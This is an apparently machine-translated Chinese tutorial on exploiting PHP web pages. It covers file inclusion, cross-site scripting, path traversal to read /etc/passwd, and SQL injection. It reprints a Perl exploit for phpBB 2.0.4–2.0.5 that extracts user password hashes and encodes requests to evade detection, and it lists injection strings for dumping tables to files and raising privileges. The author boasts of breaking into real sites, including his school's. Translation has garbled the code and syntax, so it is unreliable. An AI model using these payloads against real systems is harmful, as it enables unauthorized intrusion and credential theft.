當前位置:吉日网官网 - 傳統節日 - php頁面漏洞分析及相關問題解決方案

php頁面漏洞分析及相關問題解決方案

從目前的網絡安全來看,最受關註和接觸的網頁漏洞應該是ASP。在這方面,朱曉是專家,我沒有發言權。但是在PHP方面,也存在嚴重的安全問題,但是這方面的文章並不多。在此,和大家探討壹下PHP頁面的相關漏洞。

我對目前常見的PHP漏洞做了壹個總結,大致可以分為以下幾類:包括文件漏洞、腳本命令執行漏洞、文件泄露漏洞、SQL註入漏洞等等。當然,至於壹些常見的技術比如COOKIE惡搞,我就不在這裏討論了,網上也有很多這樣的資料。那麽,我們就來逐壹分析壹下如何利用這些漏洞吧!

首先,讓我們討論包括文件漏洞。這個漏洞應該說是PHP獨有的。這是因為外部提供的惡意數據沒有得到完全處理,使得遠程攻擊者可以利用這些漏洞,在WEB進程的權限下,在系統上執行任意命令。我們來看壹個例子:假設a.php中有這樣壹段代碼:

以下是壹段引文片段:

包括($include。"/XXX . PHP ");

在這段代碼中,$include壹般是壹個設定好的路徑,但是我們可以通過自己構造壹個路徑來達到攻擊的目的。例如,我們提交:a.php?包含=

然後,我們來看看腳本命令執行漏洞。這是因為沒有對用戶提交的URI參數進行充分過濾。提交包含惡意HTML代碼的數據可能會導致跨站點腳本攻擊,並可能獲取目標用戶的敏感信息。我們舉個例子:PHP Transparent的4.3.1以下的PHP版本中的index.php頁面對PHPSESSID缺乏足夠的過濾,我們可以通過這樣的代碼達到攻擊的目的。

那麽,我們來看看文件泄露漏洞,這是由於對用戶提交的參數缺乏足夠的過濾,遠程攻擊者可以利用它進行目錄遍歷攻擊,獲取壹些敏感信息。我們以最近發現的phpMyAdmin為例。在phpMyAdmin中,用戶提交的“what”參數在export.php頁面上沒有得到充分過濾,遠程攻擊者可以通過提交包含多個“what”的數據來繞過WEB ROOT的限制.../'字符,並使用WEB權限查看系統上的任何文件信息。例如,輸入這樣壹個地址:export.php?什麽=../../../../../etc/passwd% 00可以達到文件泄露的目的。這方面的比較多,比如:myPHPNuke,McNews等等。

最後,我們要回到最激動人心的地方。想想平時給asp頁面註入SQL有多爽。我們以前都是手動註射,直到朱曉意識到SQL註入的秘密(呵呵)然後造出了NBSI。我們NB聯盟真的是拉出了壹片天空。他曾幫助CSDN、壟斷論壇、中國頻道等大型網站找出漏洞。廢話說夠了,有點跑題了。

讓我們言歸正傳。其實asp中的SQL註入和php中的SQL註入大致相同,只是註意使用的幾個函數。把asc改成ASCII,len改成LENGTH,其他功能基本不變。其實看到PHP的SQL註入,大家是不是都想到PHP-NUKE和PHPBB了?沒錯,俗話說,動態網這樣的論壇,應該是asp界的漏洞之王。這並不是說它的論壇安全性太差,而是它的名聲太響。用的人越多,研究的人越多,發現的安全漏洞也就越多。PHPBB也是如此。現在如果大量的人用PHP做論壇,壹般都會選擇PHPBB。它的漏洞壹直在出,從最早版本的phpBB 1.4.0被發現,到最新版本的phpBB 2.0.6的groupcp.php,還有之前發現的search.php、profile.php、viewtopic.php等等,大概有十幾個樣子。這也就壹直導致了在研究php漏洞的時候,會有人把它作為壹個實驗。所謂熟能生巧,相信PHPBB以後會越來越好。

好了,我們來分析壹下漏洞的原因。以viewtopic.php頁面為例,由於在調用viewtopic.php時,直接從GET請求中獲取“topic_id”並傳遞給SQL查詢命令,不需要經過壹些過濾處理,攻擊者就可以提交特殊的SQL字符串來獲取MD5密碼,獲取的密碼信息可用於自動登錄或暴力破解。我想沒有人願意暴力破解,除非有特別重要的原因。先看看相關的源代碼:

以下是壹段引文片段:

#

if(isset($ HTTP _ GET _ VARS[POST _ TOPIC _ URL]))

#

{

#

$ TOPIC _ id = intval($ HTTP _ GET _ VARS[POST _ TOPIC _ URL]);

#

}

#

else if(isset($ HTTP _ GET _ VARS[' topic ']))

#

{

#

$ topic _ id = intval($ HTTP _ GET _ VARS[' topic ']);

#

}

從上面我們可以看到,如果提交的view=newest,sid設置為壹個值,那麽執行的查詢代碼看起來是這樣的(如果妳沒有看過PHPBB源代碼,建議妳再看壹遍,受影響的系統有:phpBB 2.0.5和phpBB 2.0.4)。

以下是壹段引文片段:

#

$sql = "選擇p.post_id

#

從”。帖子_表格。p,”。會話_表。s,”。用戶_表。u

#

其中s.session_id = '$session_id '

#

並且u .用戶標識= s .會話用戶標識

#

並且p.topic_id = $topic_id

#

並且p.post_time = u.user_lastvisit

#

按p.post_time ASC排序

#

極限1”;

Rick提供了以下錯誤的測試代碼:

使用IO::Socket;

$ remote = shift | | ' localhost

$ view _ topic = shift | | '/phpbb 2/view topic . PHP ';

$ uid = shift | | 2;

$ port = 80

$ dBType = ' mysql4

# mysql4或pgsql

打印“嘗試獲取uid $uid服務器$遠程dbtype: $dBType的密碼哈希”;

$ p =

for($ index = 1;$ index = 32$index++)

{

$ Socket = IO::Socket::INET-new(peer addr = $ remote,

PeerPort = $port,

Proto = "tcp ",

Type = SOCK_STREAM)

或者die“未能連接到$remote:$port:$@ ”;

$str = "GET $view_topic "。"?sid=1topic_id=-1 "。random_encode(make_dbsql())。“查看=最新”。”HTTP/1.0”;

打印$ socket $ str

打印$ socket“Cookie:phpbb 2 MySQL _ sid = 1”;

#將此替換為pgsql或將其刪除

打印$ socket“Host:$ remote”;

while ($answer = $socket)

{

if ($answer =~ /location:。*x23(d+)/) #匹配地點:viewtopic.php?p=#

{

$ p . = chr();

}

}

關閉($ socket);

}

打印“uid的MD5哈希$uid是$ p”;

#隨機編碼字符串。有助於避免被發現

子隨機編碼

{

$ str = shift

$ ret =

for($ I = 0;$i

{

$c = substr($str,$i,1);

$j =蘭德長度($ str)* 1000;

if (int($j) % 2 || $c eq ' ')

{

$ret。= "%" .sprintf("%x ",ord($ c));

}

#p#副標題#e#

其他

{

$ret。= $ c;

}

}

返回$ ret

}

sub make_dbsql

{

if ($dBType eq 'mysql4 ')

{

返回“聯合選擇順序(子字符串(用戶密碼),”。$index。“,1)) from phpbb_users其中user _ id = $ uid/*;

} elsif ($dBType eq 'pgsql ')

{

返回”;select ascii(substring(user _ password from $ index for 1))作為post_id from phpbb_posts p,phpbb_users u其中u.user_id=$uid或false ";

}

其他

{

返回“”;

}

}

這個代碼我就不多解釋了。該函數用於獲取哈希值。

看到這裏,妳可能會有壹些疑問。我前面說的改了的功能為什麽不用了?我講的時候不怕笑話:事實上,很多在線網站的某些頁面上的查詢語句會是這樣的:

display.php?SQL save = select+*+from+AAA+where+xx = YY+order+by+bb b+ desc

別笑,是真的。我靠這個去過幾個大網站。至於是哪幾個,不好說,但我就是這麽進入我們學校網站後臺的。使用前面的函數。否則,妳將不得不改變別人的密碼!!!

差點忘了,在註入sql的時候,PHP和ASP是不壹樣的,mysql在使用sql語句上也沒有mssql靈活,所以很多在mssql上能用的查詢語句在mysql上就不行了。壹般我們常見的註入語句是這樣的:aaa.php?Id=a' into outfile 'pass.txt或aaa.php?Id=a '進入outfile 'pass.txt' /*可以進壹步改成:aaa.php?id=a '或1=1 union select id,name,password forms users into outfile ' c:/a . txt

這允許您將數據庫數據導出到壹個文件中,然後查看它。

或者像這樣:mode= ',user_level='4

這種語句壹般用於修改數據,假設頁面有漏洞,可以達到增強權限的目的。

其他的,比如'或1 = 1-或:1 '或1='1,類似asp。這裏就不多說了。在php中,SQL註入似乎是第壹個漏洞,有這個問題的頁面太多了。

其實妳看上面的分類只有壹個原因:投稿參數沒有過濾或者過濾不夠嚴謹。

#p#副標題#e#

  • 上一篇:NBA十大歷史組織後衛都有誰?
  • 下一篇:壁紙家裝顛覆傳統印象,可以選擇的類型很多。
  • copyright 2024吉日网官网